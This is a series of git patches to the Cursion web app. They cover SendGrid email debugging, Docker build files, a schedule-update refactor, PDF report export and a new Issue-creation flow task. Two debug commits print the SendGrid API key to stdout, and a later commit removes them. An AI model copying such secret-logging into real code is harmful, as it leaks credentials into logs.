Subject: [PATCH 0863/1099] test: email failure on selfhost

---
 app/api/utils/alerts.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index c90d2e71..1c114706 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -847,13 +847,15 @@ def sendgrid_email(
 
     # send message 
     try:
+        print(f'sending email using API key {settings.SENDGRID_API_KEY}')
         sg = SendGridAPIClient(settings.SENDGRID_API_KEY)
         response = sg.send(message)
+        print(response)
         status = True
         msg = 'email sent successfully'
     except Exception as e:
         status = False
-        msg = e.message
+        msg = str(e)
 
     # formatting resposne
     data = {

From 014d9897483aeb84e9e0ae2819f285877e4a3c8a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 14:27:17 -0700
Subject: [PATCH 0864/1099] update: added for local building & testing

---
 .dockerignore | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)
 create mode 100644 .dockerignore

diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 00000000..26dd46eb
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,34 @@
+db.sqlite3
+.DS_Store
+
+*__pycache__*
+*.pyc 
+__pycache__
+__pycache__/
+*/__pycache__/*
+**/__pycache__/
+
+env/.env.local
+env/.env.dev
+env/.env.prod
+env/.env.stage
+env/.env.remote
+env/.env.prod.db
+env/.env.client.dev
+env/.env.client.prod
+
+app/data*
+app/static*
+app/api/migrations/*_*.py
+app/chromedriver*
+app/.cache*
+app/.config*
+app/.local*
+app/.pki*
+
+k8s/*/*-configs.yaml
+k8s/prod/old_configs/*
+
+notes/private*
+
+

From 04de295706e09d3102d4569acddbde830a92fecf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 14:27:39 -0700
Subject: [PATCH 0865/1099] update: adjusted for local building

---
 Dockerfile | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/Dockerfile b/Dockerfile
index 204d1157..f58c91ba 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -22,6 +22,9 @@ ENV SECRET_KEY="abcdefghijklmno123456789"
 # create the app user
 RUN addgroup --system app && adduser --system app
 
+# Clean cache to avoid issues
+RUN apt-get clean && rm -rf /var/lib/apt/lists/*
+
 # installing system deps
 RUN apt-get update && apt-get install -y --no-install-recommends \
     postgresql \

From 87037728057f688d7f332ed5d403c3332605a114 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 14:27:52 -0700
Subject: [PATCH 0866/1099] test: testing selfhost email

---
 app/api/utils/alerts.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 1c114706..8287dd42 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -845,6 +845,16 @@ def sendgrid_email(
             )
         ]
 
+    # test
+    print(f'testing sendgrid using API key {settings.SENDGRID_API_KEY}')
+    sg = SendGridAPIClient(api_key=settings.SENDGRID_API_KEY)
+    try:
+        response = sg.client.user.profile.get()
+        print(response.status_code)
+        print(response.body)
+    except Exception as e:
+        print(e)
+
     # send message 
     try:
         print(f'sending email using API key {settings.SENDGRID_API_KEY}')

From d91b98a56be7cdbfc1fcd52e13cf30073323666d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 19:17:24 -0700
Subject: [PATCH 0867/1099] udpate: removed migrations dir

---
 .dockerignore | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.dockerignore b/.dockerignore
index 26dd46eb..63af214b 100644
--- a/.dockerignore
+++ b/.dockerignore
@@ -19,7 +19,6 @@ env/.env.client.prod
 
 app/data*
 app/static*
-app/api/migrations/*_*.py
 app/chromedriver*
 app/.cache*
 app/.config*

From c12e3b056a0499a4b120045b4ad940916c361675 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 19:22:14 -0700
Subject: [PATCH 0868/1099] update: cleaning things up

---
 .dockerignore | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.dockerignore b/.dockerignore
index 63af214b..e35367f9 100644
--- a/.dockerignore
+++ b/.dockerignore
@@ -30,4 +30,3 @@ k8s/prod/old_configs/*
 
 notes/private*
 
-

From 939c056122d6578bb39b931633ce7191445c4374 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 19:23:00 -0700
Subject: [PATCH 0869/1099] test: selfhost email testing

---
 app/api/utils/alerts.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 8287dd42..20e77d67 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -858,7 +858,7 @@ def sendgrid_email(
     # send message 
     try:
         print(f'sending email using API key {settings.SENDGRID_API_KEY}')
-        sg = SendGridAPIClient(settings.SENDGRID_API_KEY)
+        sg = SendGridAPIClient(api_key=settings.SENDGRID_API_KEY)
         response = sg.send(message)
         print(response)
         status = True

From ba52bf98cbdf7fb14fcb6fa1efa22fb5ee05f92c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 19:52:25 -0700
Subject: [PATCH 0870/1099] test: selfhost email

---
 app/api/utils/alerts.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 20e77d67..91fdf1fc 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -866,6 +866,7 @@ def sendgrid_email(
     except Exception as e:
         status = False
         msg = str(e)
+        print(f'Error sending -> {e}')
 
     # formatting resposne
     data = {

From fff3c401b68966dd671e0b7c4fb7e73a07f0dd25 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 20:15:08 -0700
Subject: [PATCH 0871/1099] update: added default sendgrid email

---
 app/api/utils/alerts.py            | 2 +-
 app/cursion/settings.py            | 1 +
 env/.env.local.example             | 1 +
 k8s/local/app-configs-example.yaml | 3 ++-
 4 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 91fdf1fc..fad4dd5f 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -826,7 +826,7 @@ def sendgrid_email(
 
     # init SendGrid message
     message = Mail(
-        from_email=From(settings.EMAIL_HOST_USER, 'Cursion'),
+        from_email=From(settings.SENDGRID_EMAIL, 'Cursion'),
         to_emails=email,  
     )
 
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 17f6e4cf..d9c02960 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -210,6 +210,7 @@
 
 
 # Sendgrid configs
+SENDGRID_EMAIL = os.environ.get('SENDGRID_EMAIL')
 SENDGRID_API_KEY = os.environ.get('SENDGRID_API_KEY')
 DEFAULT_TEMPLATE = os.environ.get('DEFAULT_TEMPLATE')
 DEFAULT_TEMPLATE_NO_BUTTON = os.environ.get('DEFAULT_TEMPLATE_NO_BUTTON')
diff --git a/env/.env.local.example b/env/.env.local.example
index 87b3c954..2e5621eb 100644
--- a/env/.env.local.example
+++ b/env/.env.local.example
@@ -66,6 +66,7 @@ TWILIO_NUMBER=+13333333333
 
 
 # sendgrid configs
+SENDGRID_EMAIL=
 SENDGRID_API_KEY=
 DEFAULT_TEMPLATE=
 DEFAULT_TEMPLATE_NO_BUTTON=
diff --git a/k8s/local/app-configs-example.yaml b/k8s/local/app-configs-example.yaml
index b856613b..6290e3be 100644
--- a/k8s/local/app-configs-example.yaml
+++ b/k8s/local/app-configs-example.yaml
@@ -51,8 +51,9 @@ data:
   # twilio credentials
   TWILIO_SID : "<your-own-key>" 
   TWILIO_AUTH_TOKEN : "<your-own-key>" 
-  TWILIO_NUMBER : "+<your-own-number>"
+  TWILIO_NUMBER : "<your-own-number>"
   # sendgrid configs
+  SENDGRID_EMAIL: your@email.com
   SENDGRID_API_KEY : "<your-own-key>" 
   DEFAULT_TEMPLATE : "<your-own-key>" 
   DEFAULT_TEMPLATE_NO_BUTTON : "<your-own-key>" 

From 8468015e01a03a1770db91e4276a908e361d6fc6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 20:17:14 -0700
Subject: [PATCH 0872/1099] update: reformatted exception handling for sendgrid

---
 app/api/utils/alerts.py | 14 +-------------
 1 file changed, 1 insertion(+), 13 deletions(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index fad4dd5f..58fe881c 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -845,28 +845,16 @@ def sendgrid_email(
             )
         ]
 
-    # test
-    print(f'testing sendgrid using API key {settings.SENDGRID_API_KEY}')
-    sg = SendGridAPIClient(api_key=settings.SENDGRID_API_KEY)
-    try:
-        response = sg.client.user.profile.get()
-        print(response.status_code)
-        print(response.body)
-    except Exception as e:
-        print(e)
-
     # send message 
     try:
-        print(f'sending email using API key {settings.SENDGRID_API_KEY}')
         sg = SendGridAPIClient(api_key=settings.SENDGRID_API_KEY)
         response = sg.send(message)
-        print(response)
         status = True
         msg = 'email sent successfully'
     except Exception as e:
         status = False
         msg = str(e)
-        print(f'Error sending -> {e}')
+        print(f'error sending email -> {e}')
 
     # formatting resposne
     data = {

From a95e5f76024a81ef18eacdeb920dfdd6f4cd1e58 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Feb 2025 20:23:54 -0700
Subject: [PATCH 0873/1099] update: added pruning for dev deployment

---
 .github/workflows/dev-deploy.yaml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 68bb0c71..a982bc81 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -31,4 +31,5 @@ jobs:
           docker compose -f docker-compose.dev.yml down
           docker volume rm app_server app_beat app_celery
           docker image rm cursiondev/client
-          docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file
+          docker compose -f docker-compose.dev.yml up -d --build
+          docker system prune -f
\ No newline at end of file

From f2535e8f697e837f09204455e7c9c1e5ad9e012b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 5 Feb 2025 12:26:42 -0700
Subject: [PATCH 0874/1099] update: new schedule update method

---
 app/api/tasks.py | 71 ++++++++++++++++++++----------------------------
 1 file changed, 30 insertions(+), 41 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index c74540ee..f12f0e33 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -237,6 +237,29 @@ def record_task(
 
 
 
+def update_schedule(task_id: str=None) -> None:
+    """
+    Helper function to update Schedule.time_last_run
+
+    Expcets: {
+        task_id: str
+    }
+
+    Returns: None
+    """
+    if task_id:
+        try:
+            last_run = datetime.now(timezone.utc)
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+    return None
+
+
+
+
 @shared_task()
 def redeliver_failed_tasks() -> None:
     """ 
@@ -921,14 +944,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
             })
         
         # update schedule if task_id is not None
-        if task_id:
-            try:
-                last_run = datetime.now(timezone.utc)
-                Schedule.objects.filter(periodic_task_id=task_id).update(
-                    time_last_run=last_run
-                )
-            except Exception as e:
-                print(e)
+        update_schedule(task_id=task_id)
         
         logger.info('created new Scans')
         return None
@@ -1555,6 +1571,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                     failed += 1
                     objects[-1]['status'] = 'failed'
                     logger.info('maxed tests reached')
+                    update_schedule(task_id=task_id)
                     return None
 
             # update flowrun
@@ -1585,14 +1602,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
             )
 
         # update schedule if task_id is not None
-        if task_id:
-            try:
-                last_run = datetime.now(timezone.utc)
-                Schedule.objects.filter(periodic_task_id=task_id).update(
-                    time_last_run=last_run
-                )
-            except Exception as e:
-                print(e)
+        update_schedule(task_id=task_id)
 
         logger.info('Created new Tests')
         return None
@@ -1776,14 +1786,7 @@ def create_report_bg(*args, **kwargs) -> None:
             )
         
         # update schedule if task_id is not None
-        if task_id:
-            try:
-                last_run = datetime.now(timezone.utc)
-                Schedule.objects.filter(periodic_task_id=task_id).update(
-                    time_last_run=last_run
-                )
-            except Exception as e:
-                print(e)
+        update_schedule(task_id=task_id)
         
         logger.info('Created new Reports')
         return None
@@ -2087,14 +2090,7 @@ def create_caserun_bg(*args, **kwargs) -> None:
             )
 
         # update schedule if task_id is not None
-        if task_id:
-            try:
-                last_run = datetime.now(timezone.utc)
-                Schedule.objects.filter(periodic_task_id=task_id).update(
-                    time_last_run=last_run
-                )
-            except Exception as e:
-                print(e)
+        update_schedule(task_id=task_id)
 
         logger.info('Created CaseRuns')
         return None
@@ -2220,15 +2216,8 @@ def create_flowrun_bg(*args, **kwargs) -> None:
             else:
                 logger.info('max flowruns reached')
 
-        # update schedule if task_id is not None
-        if task_id:
-            try:
-                last_run = datetime.now(timezone.utc)
-                Schedule.objects.filter(periodic_task_id=task_id).update(
-                    time_last_run=last_run
-                )
-            except Exception as e:
-                print(e)
+        # update schedule
+        update_schedule(task_id=task_id)
 
         logger.info('Created FlowRuns')
         return None

From 6a52f54808d98ce762758c109447fae58c286db8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 5 Feb 2025 13:37:57 -0700
Subject: [PATCH 0875/1099] fix: added member catch to billing info

---
 app/api/v1/billing/services.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index b2ded861..9638c5a4 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -565,6 +565,11 @@ def get_billing_info(request: object) -> object:
     # init Stripe client
     stripe.api_key = settings.STRIPE_PRIVATE
 
+    # check is member exists
+    if not Member.objects.filter(user=request.user).exists():
+        data = {'reason': 'member not found'}
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)

From d425e5d179e21069b6cec2429c525fb16a363770 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 5 Feb 2025 13:50:54 -0700
Subject: [PATCH 0876/1099] test: debugging exporter

---
 app/api/utils/exporter.py | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 1c0ef87f..b1e721e0 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -58,33 +58,33 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     pdf = os.path.join(settings.BASE_DIR, f'{report_id}.pdf')
 
     # resizing image to remove excess | expected height => 2353
-    img = I.open(image)
-    width, height = img.size
-    left = 0
-    top = 85
-    right = width
-    bottom = height - (330)
-    new_img_1 = img.crop((left, top, right, bottom))
-    new_img_1.save(image, quality=95)
-
-    # convert to pdf
-    img = I.open(image)
-    new_img_2 = img.convert('RGB')
-    new_img_2.save(pdf, quality=95)
+    # img = I.open(image)
+    # width, height = img.size
+    # left = 0
+    # top = 85
+    # right = width
+    # bottom = height - (330)
+    # new_img_1 = img.crop((left, top, right, bottom))
+    # new_img_1.save(image, quality=95)
+
+    # # convert to pdf
+    # img = I.open(image)
+    # new_img_2 = img.convert('RGB')
+    # new_img_2.save(pdf, quality=95)
 
     # uploading to s3
-    remote_path = f'static/landing/reports/{report_id}.pdf'
+    remote_path = f'static/landing/reports/{report_id}.png' # -> .pdf
     report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}'
 
     # upload to s3
-    with open(pdf, 'rb') as data:
+    with open(image, 'rb') as data: # -> image
         s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
             remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'}
         )
 
     # removing local copies
     os.remove(image)
-    os.remove(pdf)
+    # os.remove(pdf)
     
     # setting up email to prospect
     pre_content = 'The Cursion performance report you requested has finished processing. \

From 95908564abff04b8dc4cf4dcb8ca3da243cb0229 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 5 Feb 2025 14:20:32 -0700
Subject: [PATCH 0877/1099] test: new exporter method

---
 app/api/utils/exporter.py | 37 ++++++++++++++++++++-----------------
 1 file changed, 20 insertions(+), 17 deletions(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index b1e721e0..52b6b7c8 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -45,7 +45,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
 
     # setting screensize
     full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-    driver.set_window_size(1512, int(full_page_height))
+    driver.set_window_size(1260, int(full_page_height)) # 1512 x full_page
 
     # taking screenshot
     driver.save_screenshot(f'{report_id}.png')
@@ -58,33 +58,36 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     pdf = os.path.join(settings.BASE_DIR, f'{report_id}.pdf')
 
     # resizing image to remove excess | expected height => 2353
-    # img = I.open(image)
-    # width, height = img.size
-    # left = 0
-    # top = 85
-    # right = width
-    # bottom = height - (330)
-    # new_img_1 = img.crop((left, top, right, bottom))
-    # new_img_1.save(image, quality=95)
-
-    # # convert to pdf
-    # img = I.open(image)
-    # new_img_2 = img.convert('RGB')
-    # new_img_2.save(pdf, quality=95)
+    img = I.open(image)
+    width, height = img.size
+
+    # Validate crop bounds
+    left = 0
+    top = 85
+    right = width
+    bottom = max(0, height - 330)
+
+    cropped_img = img.crop((left, top, right, bottom))
+    cropped_img.save(image_path, quality=95)
+
+    # Convert to PDF
+    img = I.open(image)
+    pdf_img = img.convert('RGB')
+    pdf_img.save(pdf)
 
     # uploading to s3
-    remote_path = f'static/landing/reports/{report_id}.png' # -> .pdf
+    remote_path = f'static/landing/reports/{report_id}.pdf' # -> .png
     report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}'
 
     # upload to s3
-    with open(image, 'rb') as data: # -> image
+    with open(pdf, 'rb') as data: # -> image
         s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
             remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'}
         )
 
     # removing local copies
     os.remove(image)
-    # os.remove(pdf)
+    os.remove(pdf)
     
     # setting up email to prospect
     pre_content = 'The Cursion performance report you requested has finished processing. \

From 506f7983e08fcdc5de71c2896c20d5c1381e0525 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 5 Feb 2025 14:28:05 -0700
Subject: [PATCH 0878/1099] fix: renamed vars in exporter

---
 app/api/utils/exporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index 52b6b7c8..f200bee5 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -68,7 +68,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     bottom = max(0, height - 330)
 
     cropped_img = img.crop((left, top, right, bottom))
-    cropped_img.save(image_path, quality=95)
+    cropped_img.save(image, quality=95)
 
     # Convert to PDF
     img = I.open(image)

From 86da5b2215790df74947ae641f7d79de2bb61828 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 5 Feb 2025 17:39:04 -0700
Subject: [PATCH 0879/1099] fix: typos in docs

---
 app/api/utils/alerts.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 58fe881c..f6acd09c 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -875,7 +875,7 @@ def send_phone(
     ) -> dict:
     """ 
     Using Twilio, sends an SMS with the passed 'body'
-    top the passed 'phone_number'
+    to the passed 'phone_number'
 
     Expects: { 
         'account_id'    : str, 
@@ -941,7 +941,7 @@ def send_slack(
     ) -> dict:
     """ 
     Using Slack, sends an message with the passed 'body'
-    top the passed 'account'.channel
+    to the passed 'account'.channel
 
     Expects: { 
         'account_id' : str, 

From b7420e09eca93a99776fd3292b0ab3f064aa62b5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 6 Feb 2025 12:00:17 -0700
Subject: [PATCH 0880/1099] feature: Issue building in Flows

---
 app/api/tasks.py             | 178 ++++++++++++++++++++++++++++++++++-
 app/api/utils/alerts.py      |  12 ++-
 app/api/utils/definitions.py |  42 +++++++++
 app/api/utils/flowr.py       |  27 +++++-
 app/api/utils/issuer.py      |  28 +++---
 5 files changed, 263 insertions(+), 24 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f12f0e33..d4d4087e 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -241,7 +241,7 @@ def update_schedule(task_id: str=None) -> None:
     """
     Helper function to update Schedule.time_last_run
 
-    Expcets: {
+    Expects: {
         task_id: str
     }
 
@@ -1720,6 +1720,8 @@ def create_report_bg(*args, **kwargs) -> None:
         # get account if account_id exists
         if account_id:
             account = Account.objects.get(id=account_id)
+
+        print(f'passed resources => {resources}')
             
         # iterating through resources 
         # and adding to sites or pages
@@ -2225,6 +2227,178 @@ def create_flowrun_bg(*args, **kwargs) -> None:
 
 
 
+def create_issue( 
+        account_id  : str=None, 
+        object_id   : str=None, 
+        title       : str=None, 
+        details     : str=None,
+        generate    : bool=False
+    ) -> dict:
+    """ 
+    Creates and `Issue` for each passed obj, using either 
+    passed data or Issuer.build_issue()
+
+    Expects: {
+        'account_id'    : str, 
+        'object_id'     : str,
+        'title'         : str,
+        'details'       : str,
+        'generate'      : bool
+    }
+
+    Returns: {
+        'message' : str,
+        'success' : bool
+    }
+    """
+
+    # set defaults
+    message = ''
+    success = True
+    affected = {}
+    trigger = {}
+    issue = None
+
+    # get object from object_id
+    obj = get_obj(object_id=object_id)
+
+    # check for success
+    if not obj.get('success'):
+        message = f'❌ object not found - unable to create issue for {object_id}'
+        success = False
+        return {'message': message, 'success': success, 'issue': issue}
+
+    # check for 'generate'
+    if generate:
+
+        # build Issue using Issuer().build_issue()
+        try:
+            issue = Issuer(
+                scan        = obj.get('obj') if obj.get('obj_type') == 'Scan' else None,
+                test        = obj.get('obj') if obj.get('obj_type') == 'Test' else None,
+                caserun     = obj.get('obj') if obj.get('obj_type') == 'CaseRun' else None,
+                threshold   = obj.get('obj').threshold if obj.get('obj_type') == 'Test' else 75
+            ).build_issue()
+
+            # build messge
+            message = f'✅ created new issue for {obj.get('obj_type').lower()} | issue_id {issue.id}'
+            success = True
+            
+        except Exception as e:
+            print(e)
+            # build messge
+            message = f'❌ generation failed - unable to create issue for {object_id}'
+            success = False
+
+    # check for manual creation
+    if not generate:
+        
+        # create trigger
+        trigger = {
+            'type'  : obj.get('obj_type').lower(), 
+            'id'    : str(obj.get('obj').id)
+        }
+
+        # create affected
+        affected = {
+            'type'  : 'site' if obj.get('obj_type') == 'CaseRun' else 'page',
+            'id'    : str(obj.get('obj').site.id) if obj.get('obj_type') == 'CaseRun' else str(obj.get('obj').page.id),
+            'str'   : obj.get('obj').site.site_url if obj.get('obj_type') == 'CaseRun' else obj.get('obj').page.page_url
+        }
+
+        # get account & secrets
+        account = Account.objects.get(id=account_id)
+        secrets = Secret.objects.filter(account=account)
+
+        # transpose data
+        title = transpose_data(title, obj.get('obj'), secrets)
+        details = transpose_data(details, obj.get('obj'), secrets)
+
+        # build Issue
+        issue = Issue.objects.create(
+            account  = account,
+            title    = title,
+            details  = details,
+            labels   = [], 
+            trigger  = trigger,
+            affected = affected
+        )
+
+        # build messge
+        message = f'✅ created new issue for {obj.get('obj_type').lower()} | issue_id {issue.id}'
+        success = True
+
+    # return data
+    data = {
+        'message'   : message,
+        'success'   : success,
+        'issue'     : issue
+    }
+    return data
+
+
+
+
+@shared_task
+def create_issue_bg(
+        account_id: str=None, 
+        objects: list=None,
+        title: str=None, 
+        details: str=None,
+        generate: bool=True,
+        flowrun_id: str=None,
+        node_index: str=None
+    ) -> None:
+    """ 
+    Runs create_issue for each passed `object`
+
+    Expects: {
+        'account_id'    : str, 
+        'objects'       : list,
+        'title'         : str,
+        'details'       : str,
+        'generate'      : bool,
+        'flowrun_id'    : str,
+        'node_index'    : str,
+    }
+
+    Returns: None
+    """
+
+    # interating through objects
+    for obj in objects:
+
+        # sleeping random for DB 
+        time.sleep(random.uniform(2, 6))
+
+        # run create_issue
+        resp = create_issue( 
+            account_id=account_id, 
+            object_id=obj['id'], 
+            title=title, 
+            details=details,
+            generate=generate
+        )
+        
+        if flowrun_id and flowrun_id != 'None':
+            # update flowrun
+            update_flowrun(**{
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+                'message': resp.get('message'),
+                'objects': [{
+                    'parent': obj['id'],
+                    'id': str(resp.get('issue').id) if resp.get('success') else None, 
+                    'status': 'passed' if resp.get('success') else 'failed'
+                }]
+            })
+
+    logger.info('created issues')
+    return None
+
+
+
+
 @shared_task
 def delete_site_s3_bg(site_id: str) -> None:
     """
@@ -2979,7 +3153,7 @@ def send_phone_bg(
 
     Expects: { 
         'account_id'    : str, 
-        'objects'       : str,
+        'objects'       : list,
         'phone_number'  : str,
         'body'          : str,
         'flowrun_id'    : str,
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index f6acd09c..08843a15 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -281,7 +281,7 @@ def transpose_data(string: str=None, obj: object=None, secrets: list=[]) -> dict
 
     Expects: {
         'string'    : str (to be transposed)
-        'obj'       : object (Scan, Test, CaseRun, Report),
+        'obj'       : object (Scan, Test, CaseRun, Report, Issue),
         'secrets'   : list (account secrets)
     }
 
@@ -337,13 +337,14 @@ def decrypt_secret(value):
 def get_obj(object_id: str=None) -> dict:
     """ 
     Tries to find an object that matches theh passed 'object_id'.
+    (Scan, Test, CaseRun, FlowRun, Report, Issue)
 
     Expects: {
         'object_id':  str,
     }
 
     Returns -> data: {
-        'obj'      : object (Scan, Test, CaseRun, FlowRun, Report),
+        'obj'      : object,
         'obj_type' : str,
         'success'  : bool
     }
@@ -390,6 +391,13 @@ def get_obj(object_id: str=None) -> dict:
             success = True
         except:
             pass
+    if not obj:
+        try:
+            obj = Issue.objects.get(id=uuid.UUID(object_id))
+            obj_type = 'Issue'
+            success = True
+        except:
+            pass
     
     # format and return data
     data = {
diff --git a/app/api/utils/definitions.py b/app/api/utils/definitions.py
index 29d3569a..0dc978ea 100644
--- a/app/api/utils/definitions.py
+++ b/app/api/utils/definitions.py
@@ -289,6 +289,48 @@
         'value': 'str(obj.id)'
     },
 
+    # issue
+    {
+        'name': 'Issue Title',
+        'key': 'issue_title',
+        'value': 'obj.title'
+    },
+    {
+        'name': 'Issue Details',
+        'key': 'issue_details',
+        'value': 'obj.details'
+    },
+    {
+        'name': 'Issue ID',
+        'key': 'issue_id',
+        'value': 'str(obj.id)'
+    },
+    {
+        'name': 'Issue Affected ID',
+        'key': 'issue_affected_id',
+        'value': 'str(obj.affected.get("id"))'
+    },
+    {
+        'name': 'Issue Affected',
+        'key': 'issue_affected',
+        'value': 'str(obj.affected.get("str"))'
+    },
+    {
+        'name': 'Issue Affected Type',
+        'key': 'issue_affected_type',
+        'value': 'str(obj.affected.get("type"))'
+    },
+    {
+        'name': 'Issue Trigger Type',
+        'key': 'issue_trigger_type',
+        'value': 'str(obj.trigger.get("type"))'
+    },
+    {
+        'name': 'Issue Trigger ID',
+        'key': 'issue_trigger_id',
+        'value': 'str(obj.trigger.get("id"))'
+    },
+
     # test
     {
         'name': 'Test ID',
diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index f9da0ff0..d21924eb 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -3,6 +3,7 @@
 from ..tasks import (
     create_caserun_bg, create_report_bg,
     create_scan_bg, create_test_bg, 
+    create_issue_bg,
     send_phone_bg, send_email_bg, 
     send_slack_bg, send_webhook_bg
 )
@@ -39,7 +40,9 @@ def __init__(self, flowrun_id: str=None) -> object:
         self.flowrun = FlowRun.objects.get(id=flowrun_id)
 
         # constants for tasks that require 'object_id'
-        self.alert_types = ['webhook', 'email', 'phone', 'slack']
+        self.alert_types = [
+            'webhook', 'email', 'phone', 'slack', 'report', 'issue'
+        ]
 
 
 
@@ -696,7 +699,9 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         # update current node
         nodes[step_data['index']]['data']['status'] = 'working' 
         nodes[step_data['index']]['data']['time_started'] = self.build_timestamp()
-        nodes[step_data['index']]['data']['objects'] = objects
+
+        # update node objects only if task_type is not 'issue' or 'report'
+        nodes[step_data['index']]['data']['objects'] = objects if (task_type != 'issue' and task_type != 'report') else []
 
         # update current edge if not first step
         if step_data['index'] != 0:
@@ -727,9 +732,9 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         account_id = str(self.flowrun.account.id)
         types = node_data.get('type')
         resources = [{
-            'str': self.flowrun.site.site_url,
-            'id': str(self.flowrun.site.id),
-            'type': 'site'
+            'str'   : self.flowrun.site.site_url,
+            'id'    : str(self.flowrun.site.id),
+            'type'  : 'site'
         },]
     
 
